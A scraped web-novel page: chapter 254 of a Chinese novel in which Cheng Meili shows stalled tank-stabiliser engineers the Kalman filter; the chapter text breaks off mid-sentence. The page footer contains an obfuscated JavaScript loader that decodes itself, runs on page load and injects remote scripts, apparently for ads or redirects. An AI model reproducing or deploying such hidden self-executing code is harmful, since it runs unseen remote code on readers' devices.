首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第一卷 第254章 无解的方程

下载APP,无广告、完整阅读
    第一卷第254章无解的方程(第1/2页)
    前两个项目一路往前冲,东翼实验楼里天天有人跑着报喜。
    复合装甲那边解决了材料问题,周德海带着人泡在冲击台边上,记录纸一张接一张地往外飞。
    旋翼项目那边更夸张,空军研究所来的几位专家这两天安静得很,见了秦铁生的徒弟都客客气气,连递图纸都知道双手捧着。
    只有炮控稳像仪项目组,气压低得像块石头压在地上。
    顾明远已经七天没回家了。
    这七天里,实验室的灯从没灭过。桌上堆满了草稿纸,地上也全是废稿。有人算到一半把纸团成团扔了,有人刚写完两行又重头来过。最里面那台院里最先进的计算机一直在运转,机箱烫得厉害,风扇转得嗡嗡响,像随时要散架。
    问题卡在一组非线性微分方程上。
    这组方程用来补偿坦克行进中炮口的随机抖动。炮塔转向,车体起伏,履带压过坑洼,所有误差叠在一起,最后都得靠这套算法吃掉。不然炮口一偏,前线打出去的炮弹就得往天上跑。
    顾明远把能用的方法全试过了。
    欧拉法不行,误差太大。
    龙格库塔不行,算到后面直接发散。
    差分迭代也不行,刚收敛一点就被新的扰动项顶翻。
    计算机每次跑到后半段都会停住,屏幕吐出一串难看的报错代码。旁边的技术员一遍遍重启,一遍遍重算,最后看着那串代码,眼神都发直。
    顾明远坐在黑板前面,眼窝深得吓人。
    他的胡子长出来了,衬衫领口松着,袖口卷到手肘,手背上全是墨水和粉笔灰。那种三年前熟悉的无力感又回来了,一点一点往心里钻。那时候他也是这样,抱着一堆推不动的公式,熬到最后,连自己都开始怀疑自己。
    旁边的年轻技术员捧着一摞新算出来的草稿,小声开口。
    “顾工,要不咱们把补偿模型再简化一层试试。”
    顾明远抬眼看了看他,嘴唇动了一下。
    “再简化,就不是稳像仪了,是安慰自己。”
    年轻技术员闭上了嘴。
    实验室里没人再吭声。
    墙上的钟走到了深夜十一点二十。
    门外的走廊传来脚步声,不快,很稳。
    陆川先推门进来,身上还带着夜里的凉气。后面跟着程美丽,头发用发夹简单别着,手里拿着一卷图纸,进门之后先扫了一眼屋里。
    地上全是纸。
    桌上全是纸。
    黑板上那组方程写得满满当当,像一张网,把所有人都兜住了。
    顾明远站起来,动作太急,膝盖在椅子上磕了一下,差点没站稳。
    “程工。”
    他的嗓子哑得厉害。
    “这个坎,我们过不去了。”
    他抬起手,指向黑板。
    “我把能试的数值方法都试了一遍。模型越推越乱,参数越补越多,后面根本收不住。也许……是我太高估自己了。”
    说到最后一句,他把手放下了,肩膀也跟着塌了一截。
    这句话一出来,屋里那点撑着人的气也散了。
    有人低下头,有人直接把钢笔放回桌上,谁都没接话。
    程美丽没急着开口,走到了黑板前面。
    她站在那里看。
    从左上角看到右下角。
    看了第一遍,又看第二遍。
    陆川走到她身后,把自己身上的军大衣脱下来,披在了她肩上。动作很轻,衣领刚好压住她的后背。
    程美丽抬手拢了拢衣襟,眼睛没离开黑板。
    五分钟。
    没人动。
    也没人敢出声。
    顾明远站在旁边,手心里全是汗。他不是等一个答案,他是在等宣判。他想知道自己到底是差了半步,还是从一开始就走错了。
    程美丽终于伸手,拿起了黑板槽里的板擦。
    第一笔,从最上面那行方程擦起。
    顾明远愣住了。
    旁边两个技术员也愣住了。
    “程工,您这是……”
    话没说完,整块黑板上的方程已经被她擦掉了一大半。
    粉笔灰往下掉,白茫茫落了一地。
    顾明远的眼睛一下子红了。
    那是他们七天七夜的东西。
    程美丽把最后一块写满公式的区域也擦干净了,把板擦往槽里一丢,转过身。
    “你们的建模思路从一开始就错了。”
    她的声音不高,但每个字都很清楚。
    (本章未完,请点击下一页继续阅读)第一卷第254章无解的方程(第2/2页)
    “你们想的是怎么求一个精确解。问题是,坦克行进中的炮口抖动,本来就不是一个能提前写死的精确量。它是随机的,是持续变化的,是你测到一半它就已经变了的东西。”
    顾明远怔在原地。
    “可如果不求精确解,稳像补偿靠什么做?”
    “靠估计。”
    程美丽拿起粉笔,在黑板最左边写下两个字。
    状态。
    她又在右边写下两个字。
    观测。
    “你们现在的问题,不是求解方程。是怎么在每一瞬间,用测到的数据,去修正你对下一瞬间的判断。”
    她转过头看了一眼那台还在嗡嗡响的计算机。
    “说白了,不是先把结果算出来再去补偿,是边测边估,边估边改。”
    顾明远的呼吸停住了。
    脑子里像是有一层东西被她一句话戳破了。
    旁边一个年轻技术员忍不住开口。
    “这怎么可能,测量本身就有误差,误差叠上误差,最后不是更乱?”
    “所以要滤。”
    程美丽在黑板上写下四个字。
    卡尔曼滤波。
    没人听过。
    顾明远没听过,屋里的其他人更没听过。
    但光是这四个字写出来,顾明远就觉得后背起了一层麻。
    程美丽转回身,粉笔在黑板上迅速落下。
    先写概率。
    再写均值。
    再写协方差矩阵。
    一个矩阵套一个矩阵,一个状态方程接一个观测方程,符号越写越多,结构却越来越清楚。她没有绕复杂的弯,先从最基础的误差传播讲起,再把随机噪声和系统噪声拆开,最后一步一步把预测和修正拼到一起。
    “先给系统一个初值。”
    “让模型往前走一步,得到预测状态。”
    “再把实测值塞进来,比较预测和观测之间的偏差。”
    “偏差怎么用,不是全信测量,也不是全信模型。权重由误差协方差来定。”
    她边写边说,粉笔在黑板上一路往右推。
    “这一步,叫预测。”
    “这一步,叫更新。”
    “预测错了,更新来拉。”
    “测量偏了,模型来稳。”
    “每次只改一点,但每次都比上一次更准。”
    黑板上的公式越来越密。
    但不是乱,是一层一层搭起来的。
    顾明远看着第一行的时候还能跟得上,看到中间的时候已经开始冒汗,看到后面那组矩阵递推关系,手指都在发抖。
    那不是这个时代常见的解方程习惯。
    这是另一套思路。
    更狠,也更准。
    它不跟随机扰动硬碰硬,它把随机扰动吃进模型里,拿它当系统的一部分。
    顾明远忽然往前走了一步,差点撞到黑板。
    “这里……这里为什么能这么处理?”
    程美丽头也没回。
    “因为误差不是敌人,误差是信息。”
    她在黑板最右边写下最后一组矩阵公式,粉笔停住了。
    “你们之前那套模型,想把所有扰动都消灭掉,结果把自己先累死了。”
    她把最后一个符号补完,往后退了一步。
    “我这套模型,不消灭扰动,只管把它驯服。”
    黑板满了。
    从左到右,全是新世界。
    顾明远站在原地,像被谁迎面打了一闷棍,又像被人从井底一把拽了出来。
    他看着那整整一黑板的公式,眼神一点一点变了。
    先是不信。
    再是茫然。
    最后变成了某种近乎敬畏的东西。
    他抬起手,想碰那块黑板,又不敢碰,指尖悬在半空里,抖得厉害。
    “这……这是什么算法?”
    他的声音劈了。
    “它甚至……甚至不在现代数学的范畴里。”
    程美丽把粉笔随手往槽里一扔,拍了拍手,粉笔灰落在军大衣的袖口上。
    她转身,几步走回陆川身边,直接窝进了他怀里,脑袋往他胸口一撞,长长地打了个哈欠。
    “一个数学模型而已,有什么大惊小怪的。”
    她在陆川怀里换了个舒服点的位置,声音懒了下来。
    “老

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();